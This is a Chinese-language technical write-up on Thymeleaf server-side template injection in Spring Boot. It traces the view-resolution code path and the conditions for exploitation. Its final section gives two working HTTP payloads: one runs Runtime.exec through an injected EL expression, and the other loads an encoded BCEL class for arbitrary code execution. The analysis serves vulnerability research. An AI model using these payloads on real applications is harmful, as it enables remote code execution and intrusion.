【技術分享】spring-boot-thymeleaf-ssti

spring-boot下的thymeleaf模板注入挺有趣的,本文嘗試對該漏洞一探究竟,如有謬誤,還請同學們指教。
https://github.com/veracode-research/spring-view-manipulation
本文使用該項目給出的demo進行調試分析,其中,spring-boot版本為2.2.0.RELEASE,
啟動
自動裝配
首先,我們知道,在配置好spring-boot情況下,加入如下thymeleaf的mvn依賴,就可以實現thymeleaf的自動配置。
<dependency> <groupId>org.springframework.bootgroupId> <artifactId>spring-boot-starter-thymeleafartifactId> dependency>
thtmyleaf的自動配置類為org.springframework.boot.autoconfigure.thymeleaf.ThymeleafAutoConfiguration

排序viewResolvers
我們可以看到,在o.s.w.s.v.ContentNegotiatingViewResolver#initServletContext方法中,對viewResolvers進行初始化,初始化后包含了多個視圖解析器(模板引擎),包括 BeanNameViewResolver、ViewResolverComposite、InternalResourceViewResolver、ThymeleafViewResolver。

查看ThymeleafViewResolver源碼,發現其order值為Integer.MAX_VALUE,通過sort方法排序過后的結果如下圖所示(BeanNameViewResolver也是Integer.MAX_VALUE):

具體代碼流可以參考這里的堆棧信息:
getOrder:282, ThymeleafViewResolver (org.thymeleaf.spring5.view)...initServletContext:206, ContentNegotiatingViewResolver (org.springframework.web.servlet.view)...refresh:550, AbstractApplicationContext (org.springframework.context.support)...refreshContext:397, SpringApplication (org.springframework.boot)run:315, SpringApplication (org.springframework.boot)...
視圖解析
獲得視圖解析器
org.springframework.web.servlet.DispatcherServlet#render:用戶發起的請求觸發的代碼會走到這里獲取視圖解析器,隨后從resolveViewName獲得最匹配的視圖解析器。

org.springframework.web.servlet.view.ContentNegotiatingViewResolver#resolveViewName:在該方法中,先是通過getCandidateViews篩選出resolveViewName方法返回值不為null(即有效的)的視圖解析器;之后通過getBestView方法選取“最優”的解,getBestView中的邏輯簡而概之,優先返回重定向的視圖動作,然后就是根據用戶HTTP請求的Accept:頭部字段與candidateViews數組中視圖解析器的排序獲得最優解的視圖解析器,而前面所講到的viewResolvers的排序正是參與決定了這一排序決策。

resolveViewName:227, ContentNegotiatingViewResolver (org.springframework.web.servlet.view)resolveViewName:1414, DispatcherServlet (org.springframework.web.servlet)render:1350, DispatcherServlet (org.springframework.web.servlet)processDispatchResult:1118, DispatcherServlet (org.springframework.web.servlet)doDispatch:1057, DispatcherServlet (org.springframework.web.servlet)...doFilter:166, ApplicationFilterChain (org.apache.catalina.core)...
獲得視圖解析器名稱
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter#invokeHandlerMethod:該方法為獲取視圖名稱的關鍵點,其中首先會調用invokeAndHandle(下面會講該方法內的邏輯),之后返回getModelAnView方法執行結果的返回值。

o.s.w.s.m.m.a.ServletInvocableHandlerMethod#invokeAndHandle:在該方法中,會嘗試獲取前端控制器的return返回值,也就是說,如果前端Controller返回值中直接拼接了用戶的輸入,相當于控制了該視圖名稱;另外,當用戶自定義的Controller方法的入參中添加了ServletResponse,這里的invokeForRequest中會觸發ServletResponseMethodArgumentResolver#resolveArgument將mavContainer的requestHandled設置為true,而mavContainer.isRequestHandled()為true導致了getModelAndview(...)返回值為null,也就不會有后面的漏洞觸發流程。

org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter#getModelAndView:如果mavContainer.isRequestHandled()為true,直接返回null。

org.springframework.web.servlet.DispatcherServlet#applyDefaultViewName:另外,如果前端Controller的方法返回值為null,即void方法類型,前面的流程無法拿到視圖名稱,后面會調用applyDefaultViewName方法將URI路徑作為視圖名稱。
org.springframework.web.servlet.view.DefaultRequestToViewNameTranslator#transformPath:在將URI設置為視圖名稱的代碼流程中,調用了該方法對URI進行格式調整,其中包括去除URI擴展名稱。

...getViewName:172, DefaultRequestToViewNameTranslator (org.springframework.web.servlet.view)getDefaultViewName:1391, DispatcherServlet (org.springframework.web.servlet)applyDefaultViewName:1087, DispatcherServlet (org.springframework.web.servlet)doDispatch:1046, DispatcherServlet (org.springframework.web.servlet)。。。
使用視圖解析器
org.thymeleaf.spring5.view.ThymeleafView#renderFragment:這里是漏洞觸發的關鍵邏輯點之一,如果用戶的輸入拼接到了視圖名稱中,即控制了viewTemplateName變量。通過瀏覽代碼,我們可以了解到,首先視圖模板名稱中需要包含::字符串,否則不會走入表達式執行代碼中。

上圖的o.t.s.e.StandardExpressionParser#parseExpression不重要,我們這里略過,其隨后會走到org.thymeleaf.standard.expression.StandardExpressionPreprocessor#preprocess方法:這里的input變量就是上面viewTemplateName前后分別拼接了~{、}后的字符串,隨后這里使用PREPROCESS_EVAL_PATTERN正則對input進行匹配,正則內容為\_\_(.*?)\_\_ ,隨后獲取正則命中后的元組內容,即非貪婪匹配的.*?,隨后講該元組內容傳入parseExpression方法并在這里觸發了EL表達式代碼執行。

POC構造
由觸發的代碼流程梳理可以得出觸發表達式的條件:
①用戶傳入的字符串拼接到了Controller方法的返回值中且返回的視圖非重定向(前面流程可用知曉,重定向優先級最高),或URI路徑拼接了用戶的輸入且Controller方法參數中不帶有ServletResponse類型的參數;
②視圖引擎名稱中需要包含::字符串;
③被執行表達式字符串前后需要帶有兩個下劃線,即__${EL}__;
④如果Payload在URI中,由于URI格式化的原因且我們的Payload中帶有.符號,所以需要在URI末尾添加.。
于是,我們可以構造出與作者有所差異的POC
POST /path HTTP/1.1Host: 127.0.0.1:8090Content-Type: application/x-www-form-urlencodedContent-Length: 120
lang=::__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc").getInputStream()).next()}_______________
如果我們要利用該漏洞干點啥,建議還是結合BCEL一類的方式來利用更加方便(不過JDK251后BCEL使用不了),win彈計算器:
POST /path HTTP/1.1Host: 127.0.0.1:8090Content-Type: application/x-www-form-urlencodedContent-Length: 1010
lang=::__${"".getClass().forName("$$BCEL$$$l$8b$I$A$A$A$A$A$A$AePMO$c2$40$U$9c$85B$a1$W$84$e2$f7$b7$t$c1$83$3dx$c4x1z$b1$w$R$83$e7$ed$b2$c1$c5$d2$92R$8c$fe$o$cf$5e$d4x$f0$H$f8$a3$8c$af$x$R$a3$7bx$_o$e6$cdL$de$7e$7c$be$bd$D$d8$c7$b6$F$Ts$W$e6$b1P$c0b$da$97L$y$9bX1$b1$ca$90$3fP$a1J$O$Z$b2$f5F$87$c18$8a$ba$92a$d6S$a1$3c$l$P$7c$Z_q$3f$m$c4$f1$o$c1$83$O$8fU$3aO$40$p$b9Q$a3$94$T$d1$c0$f5$a5$I$dc$W$7f$I$o$dem2$U$OD0$b1$$$b5$T$$n$cf$f8P$cb$u$9c$c1jG$e3X$c8$T$95$da$d8$T$d5$5e$9f$dfq$h$F$UM$ac$d9X$c7$GEP$aa$b0$b1$89$z$86Z$ca$bb$B$P$7b$ee$f1$bd$90$c3DE$nC$e5o8A$d3$c5$L$bf$_E$c2P$9dB$97$e30Q$D$ca$b5z2$f9$Z$e6$eb$N$ef$df$O$dda$c8$7b$v$Yv$ea$bf$d8v$S$ab$b0$d7$fc$zh$c5$91$90$a3Q$T$db$c8$d3$7f$a7$_$D$96$deB$d5$a2$c9$a5$ce$a8$e7v_$c0$9e4$3dC5$af$c1$Ml$aa$f6$f7$CJ$uS$_$60$f6G$7c$a1$cd$80$f2$x2N$f6$Z$c6$f5$p$8c$d3$t$8d$VI$97CV$bb90$a8$9a$84YH$3f$b2D$a8$ad$fd$81$8af2$9e$89$wH$e8h$b8$f6$Fz7$85$d0$t$C$A$A", true, "".getClass().forName("com.sun.org.apache.bcel.internal.util.ClassLoader").newInstance())}_______________
結語
spring-boot的自動化配置為開發部署帶來了極大的便捷,這也對我們深入底層問題提搞了學習成本。該模板注入問題十分巧妙,起初讓人感到不可思議。